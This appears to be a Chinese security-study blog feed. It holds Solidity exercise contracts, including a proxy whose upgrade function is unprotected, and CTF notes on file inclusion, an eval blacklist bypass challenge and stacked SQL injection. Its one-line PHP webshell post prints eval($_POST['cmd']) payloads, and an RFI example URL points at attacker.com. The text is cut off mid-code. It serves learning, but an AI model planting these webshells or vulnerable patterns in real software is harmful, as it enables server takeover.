&#125;<br>&#125;<br></code></pre></td></tr></table></figure><h2 id="资产管理合约"><a href="#资产管理合约" class="headerlink" title="资产管理合约"></a>资产管理合约</h2><p>题目: 开发一个合约，允许用户存款、取款并查询余额。实现 deposit()、withdraw(uint amount) 和 getBalance() 函数。</p><p>提示:<br>•    deposit()：存入以太。<br>•    withdraw(uint amount)：提取指定金额。<br>•    getBalance()：查询当前余额</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract SimpleBank &#123;<br>    <span class="hljs-built_in">mapping</span>(address =&gt; uint256) <span class="hljs-keyword">private</span> balances;<br><br>    <span class="hljs-comment">// 存款函数，将用户发送的以太存入他们的账户</span><br>    <span class="hljs-function">function <span class="hljs-title">deposit</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> payable </span>&#123;<br>        <span class="hljs-built_in">require</span>(msg.value &gt; <span class="hljs-number">0</span>, <span class="hljs-string">&quot;Deposit amount must be greater than zero&quot;</span>);<br>        balances[msg.sender] += msg.value;<br>    &#125;<br><br>    <span class="hljs-comment">// 取款函数，用户可以提取指定金额的以太</span><br>    <span class="hljs-function">function <span class="hljs-title">withdraw</span><span class="hljs-params">(uint256 amount)</span> <span class="hljs-keyword">public</span> </span>&#123;<br>        <span class="hljs-built_in">require</span>(amount &gt; <span class="hljs-number">0</span>, <span class="hljs-string">&quot;Withdrawal amount must be greater than zero&quot;</span>);<br>        <span class="hljs-built_in">require</span>(balances[msg.sender] &gt;= amount, <span class="hljs-string">&quot;Insufficient balance&quot;</span>);<br><br>        <span class="hljs-comment">// 更新余额并转账</span><br>        balances[msg.sender] -= amount;<br>        <span class="hljs-built_in">payable</span>(msg.sender).<span class="hljs-built_in">transfer</span>(amount);<br>    &#125;<br><br>    <span class="hljs-comment">// 查询当前余额</span><br>    <span class="hljs-function">function <span class="hljs-title">getBalance</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> view <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-keyword">return</span> balances[msg.sender];<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h2 id="合约升级示例"><a href="#合约升级示例" class="headerlink" title="合约升级示例"></a>合约升级示例</h2><p>题目: 创建一个可升级的合约。初始合约实现 setValue(uint value) 和 getValue()，升级合约添加 incrementValue()。</p><p>提示:<br>•    setValue(uint value)：设置一个值。<br>•    getValue()：获取当前值。<br>•    incrementValue()：将当前值加一（在升级合约中实现）。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br><span class="hljs-comment">//  可升级合约的代理合约</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract Proxy &#123;<br>    address <span class="hljs-keyword">public</span> implementation;<br><br>    <span class="hljs-built_in">constructor</span>(address _implementation) &#123;<br>        implementation = _implementation;<br>    &#125;<br><br>    <span class="hljs-function">function <span class="hljs-title">upgradeTo</span><span class="hljs-params">(address _implementation)</span> <span class="hljs-keyword">public</span> </span>&#123;<br>        implementation = _implementation;<br>    &#125;<br><br>    <span class="hljs-built_in">fallback</span>() external &#123;<br>        address impl = implementation;<br>        <span class="hljs-built_in">require</span>(impl != <span class="hljs-built_in">address</span>(<span class="hljs-number">0</span>), <span class="hljs-string">&quot;Implementation not set&quot;</span>);<br>        <span class="hljs-comment">// 调用实现合约的方法</span><br>        assembly &#123;<br>            <span class="hljs-built_in">calldatacopy</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-built_in">calldatasize</span>())<br>            let result := <span class="hljs-built_in">delegatecall</span>(<span class="hljs-built_in">gas</span>(), impl, <span class="hljs-number">0</span>, <span class="hljs-built_in">calldatasize</span>(), <span class="hljs-number">0</span>, <span class="hljs-number">0</span>)<br>            let size := <span class="hljs-built_in">returndatasize</span>()<br>            <span class="hljs-built_in">returndatacopy</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, size)<br>            <span class="hljs-keyword">switch</span> result<br>            <span class="hljs-keyword">case</span> <span class="hljs-number">0</span> &#123; <span class="hljs-built_in">revert</span>(<span class="hljs-number">0</span>, size) &#125;<br>            <span class="hljs-keyword">default</span> &#123; <span class="hljs-built_in">return</span>(<span class="hljs-number">0</span>, size) &#125;<br>        &#125;<br>    &#125;<br>&#125;<br><br><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br><span class="hljs-comment">// 初始合约</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract Initial &#123;<br>    uint256 <span class="hljs-keyword">private</span> value;<br><br>    <span class="hljs-function">function <span class="hljs-title">setValue</span><span class="hljs-params">(uint256 _value)</span> <span class="hljs-keyword">public</span> </span>&#123;<br>        value = _value;<br>    &#125;<br><br>    <span class="hljs-function">function <span class="hljs-title">getValue</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> view <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-keyword">return</span> value;<br>    &#125;<br>&#125;<br><br><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br><span class="hljs-comment">// 升级合约</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br><span class="hljs-keyword">import</span> <span class="hljs-string">&quot;./Initial.sol&quot;</span>;<br><br>contract Upgraded is Initial &#123;<br>    <span class="hljs-function">function <span class="hljs-title">incrementValue</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> </span>&#123;<br>        value += <span class="hljs-number">1</span>;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h2 id="时间锁合约"><a href="#时间锁合约" class="headerlink" title="时间锁合约"></a>时间锁合约</h2><p>题目: 实现一个时间锁合约，允许用户存入资金并设置锁定时间。实现 deposit(uint unlockTime) 和 withdraw() 函数。</p><p>提示:<br>•    deposit(uint unlockTime)：存入以太并设置解锁时间。<br>•    withdraw()：在解锁后提取资金</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract TimeLock &#123;<br>    <span class="hljs-keyword">struct</span> <span class="hljs-title class_">Deposit</span> &#123;<br>        uint256 amount;<br>        uint256 unlockTime;<br>    &#125;<br><br>    <span class="hljs-built_in">mapping</span>(address =&gt; Deposit) <span class="hljs-keyword">private</span> deposits;<br><br>    <span class="hljs-comment">// 存入资金并设置解锁时间</span><br>    <span class="hljs-function">function <span class="hljs-title">deposit</span><span class="hljs-params">(uint256 unlockTime)</span> <span class="hljs-keyword">public</span> payable </span>&#123;<br>        <span class="hljs-built_in">require</span>(msg.value &gt; <span class="hljs-number">0</span>, <span class="hljs-string">&quot;Deposit amount must be greater than zero&quot;</span>);<br>        <span class="hljs-built_in">require</span>(unlockTime &gt; block.timestamp, <span class="hljs-string">&quot;Unlock time must be in the future&quot;</span>);<br><br>        <span class="hljs-comment">// 更新用户存款信息</span><br>        deposits[msg.sender].amount += msg.value;<br>        deposits[msg.sender].unlockTime = unlockTime;<br>    &#125;<br><br>    <span class="hljs-comment">// 提取资金，只有在解锁后才允许</span><br>    <span class="hljs-function">function <span class="hljs-title">withdraw</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> </span>&#123;<br>        Deposit storage userDeposit = deposits[msg.sender];<br>        <span class="hljs-built_in">require</span>(block.timestamp &gt;= userDeposit.unlockTime, <span class="hljs-string">&quot;Funds are still locked&quot;</span>);<br>        <span class="hljs-built_in">require</span>(userDeposit.amount &gt; <span class="hljs-number">0</span>, <span class="hljs-string">&quot;No funds to withdraw&quot;</span>);<br><br>        uint256 amountToWithdraw = userDeposit.amount;<br>        userDeposit.amount = <span class="hljs-number">0</span>; <span class="hljs-comment">// 清空存款，避免重入攻击</span><br><br>        <span class="hljs-built_in">payable</span>(msg.sender).<span class="hljs-built_in">transfer</span>(amountToWithdraw);<br>    &#125;<br><br>    <span class="hljs-comment">// 查询当前用户的存款信息</span><br>    <span class="hljs-function">function <span class="hljs-title">getDepositInfo</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> view <span class="hljs-title">returns</span> <span class="hljs-params">(uint256 amount, uint256 unlockTime)</span> </span>&#123;<br>        Deposit storage userDeposit = deposits[msg.sender];<br>        <span class="hljs-keyword">return</span> (userDeposit.amount, userDeposit.unlockTime);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>web3</category>
      
    </categories>
    
    
    <tags>
      
      <tag>course</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>NSSCTFweb2</title>
    <link href="/2024/10/19/NSSCTFweb2/"/>
    <url>/2024/10/19/NSSCTFweb2/</url>
    
    <content type="html"><![CDATA[<p>The future</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"> <span class="hljs-meta">&lt;?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-title function_ invoke__">error_reporting</span>(<span class="hljs-number">0</span>);<br><span class="hljs-variable">$file</span> = <span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">&#x27;file&#x27;</span>];<br><span class="hljs-variable">$data</span> = <span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-variable">$file</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;File contents: <span class="hljs-subst">$data</span>&quot;</span>;<br><span class="hljs-comment">//朴实无华，拿来就用    </span><br>File contents: <br></code></pre></td></tr></table></figure><p>一个简单的FIV文件包含漏洞<br>本地文件包含（LFI）<br>潜在的远程文件包含（RFI）漏洞<br>如果 PHP 配置中 allow_url_fopen 和 allow_url_include 设置为 On，攻击者甚至可以通过 file 参数引入远程文件，执行远程的恶意代码。假如配置不当，攻击者可以通过这样的 URL 进行远程文件包含：<br><a href="http://example.com/vulnerable.php?file=http://attacker.com/malicious_code.php">http://example.com/vulnerable.php?file=http://attacker.com/malicious_code.php</a></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs php"> <span class="hljs-meta">&lt;?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;code&#x27;</span>]))&#123;<br>    <span class="hljs-variable">$code</span>=<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;code&#x27;</span>];<br><span class="hljs-keyword">if</span> (!<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">&#x27;/sys|pas|read|file|ls|cat|tac| |head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i&#x27;</span>,<span class="hljs-variable">$code</span>))&#123;<br>     <span class="hljs-keyword">eval</span>(<span class="hljs-variable">$code</span>);  <br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&#x27;&lt;br&gt;&#x27;</span>;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&#x27;&lt;img src=&quot;./dududadadudu.png&quot; alt=&quot;Top Image&quot; style=&quot;display: block; margin: 0 auto; max-width: 20%; height: auto;&quot;&gt;&#x27;</span>; <br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&#x27;&lt;audio controls&gt;&#x27;</span>;<span class="hljs-keyword">echo</span> <span class="hljs-string">&#x27;&lt;source src=&quot;./dududadudada.mp3&quot; type=&quot;audio/mpeg&quot;&gt;&#x27;</span>;<br>         &#125; <span class="hljs-keyword">else</span> &#123;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&#x27;&lt;img src=&quot;./redhot.jpg&quot; alt=&quot;Top Image&quot; style=&quot;display: block; margin: 0 auto; max-width: 70%; height: auto;&quot;&gt;&#x27;</span>; <br>        <span class="hljs-keyword">die</span>(<span class="hljs-string">&quot;这都不能bypass？不准你玩cod&quot;</span>); &#125;<br>    &#125;  <span class="hljs-keyword">else</span> &#123;<br>    <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;喜欢用轮椅枪是吧，账号给你ban了！&quot;</span>;<br>    <span class="hljs-keyword">echo</span> <span class="hljs-string">&#x27;&lt;img src=&quot;./ban.png&quot; alt=&quot;Top Image&quot; style=&quot;display: block; margin: 0 auto; max-width: 70%; height: auto;&quot;&gt;&#x27;</span>; <br>&#125; <br></code></pre></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>CTF</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>按钮事件</title>
    <link href="/2024/10/18/%E6%8C%89%E9%92%AE%E4%BA%8B%E4%BB%B6/"/>
    <url>/2024/10/18/%E6%8C%89%E9%92%AE%E4%BA%8B%E4%BB%B6/</url>
    
    <content type="html"><![CDATA[<p>在我们进行逆向时普遍会遇到出现弹窗，但是我们没有办法搜索到字符串完成定位点的问题，这个时候我们可以利用按钮时间来到达对应的输入断点<br><img src="https://gitee.com/fogpost/photo/raw/master/202410181444105.png" srcset="/img/loading.gif" lazyload><br>在我们这图中，在输入完数之后我们不点登录在od中查找二进制字符串，如下<br><img src="https://gitee.com/fogpost/photo/raw/master/202410181449498.png" srcset="/img/loading.gif" lazyload><br>之后我们会到达此处，此处的断点便是易语言的按钮事件断点<br><img src="https://gitee.com/fogpost/photo/raw/master/202410181450283.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>逆向</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>Hook</title>
    <link href="/2024/10/16/Hook/"/>
    <url>/2024/10/16/Hook/</url>
    
    <content type="html"><![CDATA[<h1 id="Hook"><a href="#Hook" class="headerlink" title="Hook"></a>Hook</h1><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>Hook是一种技术，它允许一个程序监视和修改另一个程序的运行。Hook技术通常用于调试、修改程序行为、保护程序等目的。</p><p>在Windows操作系统中，Hook技术主要分为以下几种：键盘Hook、鼠标Hook、消息Hook、API Hook等。</p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>SetWindowsHookExA函数是Windows API中用于设置Hook的函数。它可以用于监视和修改其他程序的键盘、鼠标、消息等事件。</p><p>SetWindowsHookExA函数的原型如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c">HHOOK <span class="hljs-title function_">SetWindowsHookExA</span><span class="hljs-params">(</span><br><span class="hljs-params">  <span class="hljs-type">int</span>       idHook,</span><br><span class="hljs-params">  HOOKPROC  lpfn,</span><br><span class="hljs-params">  HINSTANCE hmod,</span><br><span class="hljs-params">  DWORD     dwThreadId</span><br><span class="hljs-params">)</span>;<br></code></pre></td></tr></table></figure><h3 id="键盘消息钩取练习"><a href="#键盘消息钩取练习" class="headerlink" title="键盘消息钩取练习"></a>键盘消息钩取练习</h3>]]></content>
    
    
    <categories>
      
      <category>逆向</category>
      
    </categories>
    
    
    <tags>
      
      <tag>DLL</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>wuai第八课</title>
    <link href="/2024/10/15/wuai%E7%AC%AC%E5%85%AB%E8%AF%BE/"/>
    <url>/2024/10/15/wuai%E7%AC%AC%E5%85%AB%E8%AF%BE/</url>
    
    <content type="html"><![CDATA[<h1 id="bss节区"><a href="#bss节区" class="headerlink" title=".bss节区"></a>.bss节区</h1><h2 id="bss节区简介"><a href="#bss节区简介" class="headerlink" title=".bss节区简介"></a>.bss节区简介</h2><p>bss节区是程序中未初始化的全局变量和静态变量所在的节区，它通常在程序开始执行前被初始化为0。bss节区的大小由程序中未初始化的全局变量和静态变量的数量和大小决定。</p><h2 id="bss节区的特点"><a href="#bss节区的特点" class="headerlink" title=".bss节区的特点"></a>.bss节区的特点</h2><p>可以用于反dump</p>]]></content>
    
    
    <categories>
      
      <category>课程</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>php一句话木马</title>
    <link href="/2024/10/09/php%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC/"/>
    <url>/2024/10/09/php%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC/</url>
    
    <content type="html"><![CDATA[<p>了解一下php的include函数顺便了解一句话木马的各种形式</p><h2 id="include函数"><a href="#include函数" class="headerlink" title="include函数"></a>include函数</h2><p>在php中，include函数用于引入一个文件，如果引入的文件不存在，则会抛出一个警告，但程序会继续执行。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-keyword">include</span> <span class="hljs-string">&#x27;test.php&#x27;</span>;<br><span class="hljs-keyword">echo</span> <span class="hljs-string">&#x27;hello world&#x27;</span>;<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>如果test.php不存在，则会抛出一个警告，但程序会继续执行，输出hello world。<br>我们也可以在文件中定义动态的文件名</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"> <span class="hljs-meta">&lt;?php</span><br><span class="hljs-variable">$NSS</span>=<span class="hljs-variable">$_POST</span>[<span class="hljs-string">&#x27;NSS&#x27;</span>];<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$NSS</span>;<br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-variable">$NSS</span>);<br><span class="hljs-keyword">include</span>(<span class="hljs-variable">$NSS</span>);<br><span class="hljs-meta">?&gt;</span> <br></code></pre></td></tr></table></figure><h2 id="木马举例"><a href="#木马举例" class="headerlink" title="木马举例"></a>木马举例</h2><blockquote><?php @eval($_POST['cmd']); ?><?php @eval($_POST[1]); ?><p>,简析一下这两马效果是一样的，但是数字与字符串的区别在于是否需要增加引号<br>一句话木马通常使用 POST 请求而不是 GET，因为 get传参有限制，在对某些waf进行垃圾数据填充时不方便，无法构造畸形的数据包</p></blockquote>]]></content>
    
    
    <categories>
      
      <category>网络</category>
      
    </categories>
    
    
    <tags>
      
      <tag>php</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>sql</title>
    <link href="/2024/10/01/sql/"/>
    <url>/2024/10/01/sql/</url>
    
    <content type="html"><![CDATA[<p>后面预计会把这些相同的文章全部集合起来，知识点主要都是做题得来得多做点题，省得什么都不会，难搞，也只有半年就要去考研了，唉ctfer起步太慢</p><h3 id="三个表"><a href="#三个表" class="headerlink" title="三个表"></a>三个表</h3><ul><li>information_schema.schemata: 该数据表存储了 mysql 数据库中的所有数据库的库名</li><li>information_schema.tables： 该数据表存储了 mysql 数据库中的所有数据表的表名</li><li>information_schema.columns: 该数据表存储了 mysql 数据库中的所有列的列名</li></ul><h3 id="堆叠注入"><a href="#堆叠注入" class="headerlink" title="堆叠注入"></a>堆叠注入</h3><p>先讲讲什么加堆叠注入,堆叠注入就是一条sql语句后面加;，多条语句一起执行，比如</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">select</span> <span class="hljs-operator">*</span> <span class="hljs-keyword">from</span> users;<span class="hljs-keyword">show</span> databases; <br></code></pre></td></tr></table></figure><p>就同时执行以上两条命令，所以我们可以增删改查，只要权限够<br>,其可能受到API或者数据库引擎，又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用，利用mysqli_multi_query()函数就支持多条sql语句同时执行，但实际情况中，如PHP为了防止sql注入机制，往往使用调用数据库的函数是mysqli_ query()函数，其只能执行一条语句，分号后面的内容将不会被执行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;id&#x27;</span>]))<br>&#123;<br><span class="hljs-variable">$id</span>=<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;id&#x27;</span>];<br><span class="hljs-comment">//logging the connection parameters to a file for analysis.</span><br><span class="hljs-variable">$fp</span>=<span class="hljs-title function_ invoke__">fopen</span>(<span class="hljs-string">&#x27;result.txt&#x27;</span>,<span class="hljs-string">&#x27;a&#x27;</span>);<br><span class="hljs-title function_ invoke__">fwrite</span>(<span class="hljs-variable">$fp</span>,<span class="hljs-string">&#x27;ID:&#x27;</span>.<span class="hljs-variable">$id</span>.<span class="hljs-string">&quot;\n&quot;</span>);<br><span class="hljs-title function_ invoke__">fclose</span>(<span class="hljs-variable">$fp</span>);<br><br><span class="hljs-comment">// connectivity</span><br><span class="hljs-comment">//mysql connections for stacked query examples.</span><br><span class="hljs-variable">$con1</span> = <span class="hljs-title function_ invoke__">mysqli_connect</span>(<span class="hljs-variable">$host</span>,<span class="hljs-variable">$dbuser</span>,<span class="hljs-variable">$dbpass</span>,<span class="hljs-variable">$dbname</span>);<br><span class="hljs-comment">// Check connection</span><br><span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">mysqli_connect_errno</span>(<span class="hljs-variable">$con1</span>))<br>&#123;<br>    <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;Failed to connect to MySQL: &quot;</span> . <span class="hljs-title function_ invoke__">mysqli_connect_error</span>();<br>&#125;<br><span class="hljs-keyword">else</span><br>&#123;<br>    @<span class="hljs-title function_ invoke__">mysqli_select_db</span>(<span class="hljs-variable">$con1</span>, <span class="hljs-variable">$dbname</span>) <span class="hljs-keyword">or</span> <span class="hljs-keyword">die</span> ( <span class="hljs-string">&quot;Unable to connect to the database: <span class="hljs-subst">$dbname</span>&quot;</span>);<br>&#125;<br><br><br><br><span class="hljs-variable">$sql</span>=<span class="hljs-string">&quot;SELECT * FROM users WHERE id=&#x27;<span class="hljs-subst">$id</span>&#x27; LIMIT 0,1&quot;</span>;<br><span class="hljs-comment">/* execute multi query */</span><br><span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">mysqli_multi_query</span>(<span class="hljs-variable">$con1</span>, <span class="hljs-variable">$sql</span>))<br>&#123;<br>    <br>    <br>    <span class="hljs-comment">/* store first result set */</span><br>    <span class="hljs-keyword">if</span> (<span class="hljs-variable">$result</span> = <span class="hljs-title function_ invoke__">mysqli_store_result</span>(<span class="hljs-variable">$con1</span>))<br>    &#123;<br>        <span class="hljs-keyword">if</span>(<span class="hljs-variable">$row</span> = <span class="hljs-title function_ invoke__">mysqli_fetch_row</span>(<span class="hljs-variable">$result</span>))<br>        &#123;<br>            <span class="hljs-keyword">echo</span> <span class="hljs-string">&#x27;&lt;font size = &quot;5&quot; color= &quot;#00FF00&quot;&gt;&#x27;</span>;<br>            <span class="hljs-title function_ invoke__">printf</span>(<span class="hljs-string">&quot;Your Username is : %s&quot;</span>, <span class="hljs-variable">$row</span>[<span class="hljs-number">1</span>]);<br>            <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;&lt;br&gt;&quot;</span>;<br>            <span class="hljs-title function_ invoke__">printf</span>(<span class="hljs-string">&quot;Your Password is : %s&quot;</span>, <span class="hljs-variable">$row</span>[<span class="hljs-number">2</span>]);<br>            <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;&lt;br&gt;&quot;</span>;<br>            <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;&lt;/font&gt;&quot;</span>;<br>        &#125;<br><span class="hljs-comment">//            mysqli_free_result($result);</span><br>    &#125;<br>        <span class="hljs-comment">/* print divider */</span><br>    <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">mysqli_more_results</span>(<span class="hljs-variable">$con1</span>))<br>    &#123;<br>            <span class="hljs-comment">//printf(&quot;-----------------\n&quot;);</span><br>    &#125;<br>     <span class="hljs-comment">//while (mysqli_next_result($con1));</span><br>&#125;<br><span class="hljs-keyword">else</span> <br>    &#123;<br><span class="hljs-keyword">echo</span> <span class="hljs-string">&#x27;&lt;font size=&quot;5&quot; color= &quot;#FFFF00&quot;&gt;&#x27;</span>;<br><span class="hljs-title function_ invoke__">print_r</span>(<span class="hljs-title function_ invoke__">mysqli_error</span>(<span 